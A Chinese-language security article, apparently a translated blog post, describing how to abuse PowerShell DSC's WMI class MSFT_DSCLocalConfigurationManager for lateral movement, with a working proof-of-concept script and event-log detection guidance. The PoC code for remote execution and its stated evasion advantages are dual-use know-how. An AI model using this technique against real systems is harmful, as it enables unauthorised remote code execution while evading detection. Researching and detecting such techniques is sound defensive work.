如何滥用PowerShell DSC进行横向渗透

阅读量    46136 |   稿费 140

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

一、基本描述

PowerShell的期望状态配置(Desired State Configuration,DSC)可以让我们使用WMI来直接执行资源。通过DSC WMI类,我们可以滥用内置脚本资源来实现PowerShell代码的远程执行。这种横向渗透技术有如下几个有点:

1、PowerShell会在WMIC服务程序wmiprvse.exe的上下文环境中执行。传统的调用Win32_Process的Create方法会通过wmiprvse.exe创建子进程且带有命令行特征,因此从规避检测的角度来看,这种方法具备一定的优势(至少在本文发表以前)。

2、载荷的所有组件都仅依赖于WMI。

3、我们并不需要使用DSC服务的配置(甚至无需了解相关知识)。

 

二、具体需求

1、MSFT_DSCLocalConfigurationManager这个WMI类中必须存在ResourceTest方法,该类位于root/Microsoft/Windows/DesiredStateConfiguration命名空间中。注意:攻击者也可以选择调用ResourceGet或者ResourceSet方法。PowerShell DSC从PowerShell v4中开始引入,因此并非所有主机都可以使用这种技术。

2、默认情况下,我们必须具备管理员凭据才能远程调用WMI方法。在远程调用时,WMI受DCOM或者WSMan安全设置的保护。建立远程连接后,WMI本身通过与特定命名空间对应的安全描述符进行保护,在这种场景中,该命名空间为root/Microsoft/Windows/DesiredStateConfiguration。

 

三、PoC

第一个步骤是准备待执行的载荷。我们想在目标上执行的PowerShell代码必须采用MOF格式。在目标上执行的某个示例载荷如下所示:

$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
    ResourceID = "[Script]ScriptExample";
    GetScript = ""$(Get-Date): I am being GET"     | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
    TestScript = ""$(Get-Date): I am being TESTED" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
    SetScript = ""$(Get-Date): I am being SET"     | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
    SourceInfo = "::3::5::Script";
    ModuleName = "PsDesiredStateConfiguration";
    ModuleVersion = "1.0";
    ConfigurationName = "ScriptTest";
};

instance of OMI_ConfigurationDocument
{
    Version="2.0.0";
    MinimumCompatibleVersion = "1.0.0";
    CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
    Author="TestUser";
    GenerationDate="02/26/2018 07:09:21";
    GenerationHost="TestHost";
    Name="ScriptTest";
};
'@

实际上,这里我们所需修改的唯一特征就是PowerShell载荷。在我们的示例中,我们将调用ResourceTest方法,该方法对应的是TestScript属性中的载荷。需要注意的是我们需要转义处理特殊字符。MOF自动化生成及载荷转义处理是可以自动化完成的操作。

下一个步骤是将MOF转化为二进制形式(ResourceTest方法所期望的数据格式):

# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True

$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)

if ($ExecuteRemotely) {
    # Prepend the length of the payload
    [Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
    # If executing locally, you do not prepend the payload length
    [Byte[]] $MOFBytes = $NormalizedMOFBytes
}

在上述代码中需要注意的是,如果我们在本地测试载荷,则无需将载荷长度添加到byte数组中。现在我们已经正确编码载荷,接下来只需要在目标上执行载荷即可。

# Specify the credentials of your target
$Credential = Get-Credential -Credential TempUser
$ComputerName = 'TargetHost'

# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential

$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession

if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
    # You may now proceed with lateral movement

    $MethodArgs = @{
        ModuleName       = 'PSDesiredStateConfiguration'
        ResourceType     = 'MSFT_ScriptResource'
        resourceProperty = $MOFBytes
    }

    $Arguments = @{
        Namespace  = 'root/Microsoft/Windows/DesiredStateConfiguration'
        ClassName  = 'MSFT_DSCLocalConfigurationManager'
        MethodName = 'ResourceTest'
        Arguments  = $MethodArgs
        CimSession = $RemoteCIMSession
    }

    # Invoke the DSC script resource Test method
    # Successful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0.
    Invoke-CimMethod @Arguments

} else {
    Write-Warning 'The DSC lateral movement method is not available on the remote system.'
}

在上述例子中,请注意我在执行之前首先验证了远程类以及方法是否存在。在使用WMI技术时,我建议大家在最终执行之前首先验证目标类和方法是否存在。

以上就是主要内容。我刻意介绍了个大概,在其他内容或者具体操作方面给大家留下较大空间。在这个例子中,载荷执行结果会在本地落盘。如果我们想通过WMI远程获取文件内容,可以参考此处介绍的方法。此外,在上述例子中,我使用了PSv3中才引入的CMI cmdlets,如果想兼容v2,大家也可以改造代码以适配老版WMI cmdlets。

 

四、发现过程

我是在学习DSC的基础知识时偶然发现了这种技术。我在网上找到了一篇文章,文中讨论了如何使用WMI来直接调用DSC资源。我对WMI有所了解,因此这篇文章一下子引燃了我对这方面内容的兴趣。该文章演示了如何调用内置的文件资源,因此我只需要澄清如何调整细节,以便适用于脚本资源即可。

 

五、检测方法

幸运的是,如果我们能够获取事件日志,那么就有很多机会可以检测到这类技术。

Microsoft-Windows-PowerShell/Operational事件日志

53504事件

PowerShell Named Pipe IPC事件将告诉我们已启动的PowerShell AppDomain的名称。当DSC执行脚本资源时,该事件会自动捕捉DscPsPluginWkr_AppDomain AppDomain,顾名思义,这是DSC执行所特有的名称。典型事件如下:

Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain: DscPsPluginWkr_AppDomain.

4104事件

该事件与PowerShell v5脚本块(ScriptBlock)日志有关。攻击者可以轻松规避ScriptBlock的自动日志机制,但如果启用了全局ScriptBlock日志,那么攻击者的载荷操作基本上都会被记录在案。ScriptBlock日志不仅会记录下执行的载荷,也会捕捉与执行内置脚本资源有关的帮助程序代码。

调用脚本资源时被捕捉到的一些ScriptBlock数据样例如下所示:

# Localized 04/11/2018 02:09 PM (GMT) 303:4.80.0411 MSFT_ScriptResourceStrings.psd1 # Localized MSFT_ScriptResourceStrings.psd1 ConvertFrom-StringData @' ###PSLOC SetScriptWhatIfMessage=Executing the SetScript with the user supplied credential InValidResultFromGetScriptError=Failure to get the results from the script in a hash table format. InValidResultFromTestScriptError=Failure to get a valid result from the execution of TestScript. The Test script should return True or False. ScriptBlockProviderScriptExecutionFailureError=Failure to successfully execute the script. GetTargetResourceStartVerboseMessage=Begin executing Get Script. GetTargetResourceEndVerboseMessage=End executing Get Script. SetTargetResourceStartVerboseMessage=Begin executing Set Script. SetTargetResourceEndVerboseMessage=End executing Set Script. TestTargetResourceStartVerboseMessage=Begin executing Test Script. TestTargetResourceEndVerboseMessage=End executing Test Script. ExecutingScriptMessage=Executing Script: {0} ###PSLOC '@

Windows PowerShell事件日志

400事件

在典型的PowerShell日志中,ID为400的事件表明系统中启动了一个新的PowerShell宿主进程。当DSC脚本资源执行时,会生成独特的事件日志条目,我们可以轻松定位。典型例子如下:

Engine状态从None变为Available。

Details: 
 NewEngineState=Available
 PreviousEngineState=None

 SequenceNumber=13

 HostName=Default Host
 HostVersion=5.1.17134.81
 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d
 HostApplication=C:Windowssystem32wbemwmiprvse.exe
 EngineVersion=5.1.17134.81
 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906
 PipelineId=
 CommandName=
 CommandType=
 ScriptName=
 CommandPath=
 CommandLine=

PowerShell宿主进程在wmiprvse.exe上下文中启动(参考HostApplication字段),这可能是环境中(特别是工作站上)非常独特的一个特征。

Microsoft-Windows-DSC/Operational事件日志

4102事件

该事件表明某个DSC资源被发送到某个表上。该事件可以为我们提供执行DSC资源的用户SID以及来源主机信息(如果主机位于域环境中)。典型事件如下所示:

Job {893F64B5-ABBF-11E8-B005-D336977413FC} : 
Operation Invoke-DscResource started by user sid S-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.

 

六、总结

我录制了一个视频,演示了如何使用DSC进行横向渗透,以及如何仅依赖WMI来远程获取文件内容。

大家可以访问此处下载演示代码,祝大家玩得开心。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多